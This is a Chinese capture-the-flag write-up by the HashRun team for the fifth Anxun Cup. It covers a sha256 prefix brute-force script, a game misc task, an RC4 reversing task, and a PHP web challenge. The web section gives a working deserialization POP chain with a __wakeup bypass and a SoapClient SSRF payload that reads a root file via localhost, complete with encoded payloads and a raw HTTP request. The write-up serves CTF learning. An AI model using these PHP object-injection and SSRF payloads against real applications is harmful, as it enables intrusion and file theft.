第五届安洵杯WriteUp – HashRun安全团队

前言

HashRun安全团队最终排名56。

Crypto@S1gMa

知识点

\(sha256\) 掩码爆破。

解题过程

\(step1\) :先 \(nc\) 链接获取密文,然后根据“xxxx + 明文”,进行掩码爆破将爆破出的字符串和密文的前 \(8\) 比对得到结果。

\(step2\) :头铁猜数字,直接猜就行只有 \(6\) 次机会,失败了得重新 \(nc\) 然后重复 \(step1\) 的操作。(然后我就脸黑猜了5遍多….)

脚本:

import hashlib
dic=['Q','W','E','R','T','Y','U','I','O','A','S','D','F','G','H','J','K','P','L','Z','X','C','V','B','N','M','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','1','2','3','4','5','6','7','8','9','0']
for a in range(len(dic)):
    for b in range(len(dic)):
        for c in range(len(dic)):
            for d in range(len(dic)):
                m = dic[a] + dic[b] + dic[c] + dic[d] + ''
                flag=hashlib.sha256(m.encode('utf-8')).hexdigest()
                if flag[0:8]=='':
                    print (flag)
                    print(dic[a],dic[b],dic[c],dic[d])

D0g3{Y0u_C4n_gu3ss_The_Fl4g}

Misc1@q1uf3ng

解题过程

打开游戏,ce速度改500,在疯狂鬼畜的上升中隐约看到一个非常臭的数字。

zU0Yse.png

D0g3{1145141919810}

RedCoast@S1gMa (待复现)

解题思路

比赛的时候犯病了。。。于是赛后队内总结交流有了如下对话:

zUDn41.png

Web1@T4x0r

解题过程

https://www.cnblogs.com/NPFS/p/14335370.html

网站源码:index.php

<?php
class A
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = "babyhacker";
    }

    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}

class C
{
    public $a;
    public $c;

    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}


if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__);

flag.php:

<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    $_SESSION["F1AG"]= $f1ag;
}else{
   echo "only localhost!!";
}

发现flag.php文件 \(new\) 了一下,需要一个类,第一个思路,\(php\) 原生类,在看提示,\(flag\) 在根目录,我们也是通过这个入口点进行读取,找到一个 \(php\) 原生类,进行读取 \(DirectoryIterator\)

zU0vJx.png

然后 \(flag\) 文件为:f1111llllllaagg。

可以利用 SoapClient 类的 __call (当调用对象中不存在的方法会自动调用此方法)方法来进行 SSRF

call_user_func函数中的参数可以是一个数组,数组中第一个元素为类名,第二个元素为类方法。

先传入 \(extract()\) ,将\(b覆盖成回调函数,这样题目中的 **call_user_func(\)b,$a)** 就可以变成 call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF
然后session反序列化,遂,构造exp:

<?php
$url = "http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg";
$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo "|" . urlencode($a);
?>

pop:

O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A60%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3D%2Ff1111llllllaagg%22%3Bs%3A8%3A%22location%22%3Bs%3A60%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3D%2Ff1111llllllaagg%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

然后传入数据包:

POST /?d0g3=php_serialize&baby=session.serialize_handler HTTP/1.1
Host: 47.108.29.107:10104
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=8lorqmn6i2nl32ab290gnooakc
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 320

sess=|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A60%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3D%2Ff1111llllllaagg%22%3Bs%3A8%3A%22location%22%3Bs%3A60%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3D%2Ff1111llllllaagg%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

然后访问index.php一次,在看index.php反序列化构造;

\(wakeup\) 好绕过加个属性数量就 \(ok\) ,接下来的思路:

\(C\) 类中的\(cc会触发A类的 __invoke() 魔术方法,\)A$ 类的 \(a\) 属性会触发 \(C\) 类的 __toString 方法然后 \(A\) 类方法中会调用 \(uwant\) 方法,\(uwant\) 方法在 \(C\) 类所以 \(A\) 类方法中的 \(b\) 属性为 \(C\) 的对象,$md5 哪些就不说了
即exp(未最终):

<?php

class A{
    public $a;
    public $b;
}

class B{
    public $a;
    public $b;
    public $k;
}

class C{
    public $a;
    public $c;
}

$d = new A();
$e = new B();
$f = new C();
$g = new C();

$e -> a = $f;
//$d -> a = $f;
$f -> c = $d;
$d -> b = $g;
$d -> a = "0e215962017";
$g -> a = "phpinfo";
echo serialize($e);

最终:

<?php

class A{
    public $a;
    public $b;
}

class B{
    public $a;
    public $b;
    public $k;
}

class C{
    public $a;
    public $c;
}

$d = new A();
$e = new B();
$f = new C();
$g = new C();

$e -> a = $f;
//$d -> a = $f;
$f -> c = $d;
$d -> b = $g;
$d -> a = "0e215962017";
$g -> a = "www";  //随便写,只要不等于phpinfo
echo serialize($e);

这里 \(phpinfo\) 可以验证是否对,跑出来给属性加加个数字即可绕过 \(wakeup\)\(exp\)\(pop\) 链+ \(wakeup\) 绕过:

O:1:"B":4:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:7:"phpinfo";s:1:"c";N;}}}s:1:"b";N;s:1:"c";N;}

如果不等于 \(phpinfo\) 即可进入到 call_user_func

pop:

O:1:"B":4:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:3:"www";s:1:"c";N;}}}s:1:"b";N;s:1:"c";N;}

先对其经行 \(session\) 反序列化搞定 \(reset\)

zUB26O.png

访问index.php即可看到成功

zUBRXD.png

然后再打pop

zUBh0H.png

500说明执行了,在访问index.php

zUB47d.png

可以看到完整的触发结果,并且服务器给我们一个 \(phpsession\) ,我们把原先的 \(session\) 改了,再次访问index.php即可查看到 \(flag\)

zUBqc8.png

D0g3{d18dfdd0c0064af3ac355b919b77df49}

reeee@n00bzx

解题思路

\(ida\) 打开,函数很少,看到有个创建子进程,然后暂停修改子进程 \(eip\) 。点入对应函数,发现判断输入字节数,加密函数有一条简单的花指令。去掉后发现是未变异的 \(rc4\)

zUBzAs.png

数据和 \(key\) 抠出来上网在线解密就行了。

d0g3{This_15_FindWind0w}

结语

欢迎大家加入HashRun安全团队的公开群 & 公众号, 均会不定期分享师傅们的各种文章,想要即使关注扫一扫下方二维码速速加入!!!!

公开群

xT0Vbj.png

公众号

xT0P8f.png

原文地址:http://www.cnblogs.com/S1gMa/p/16931139.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性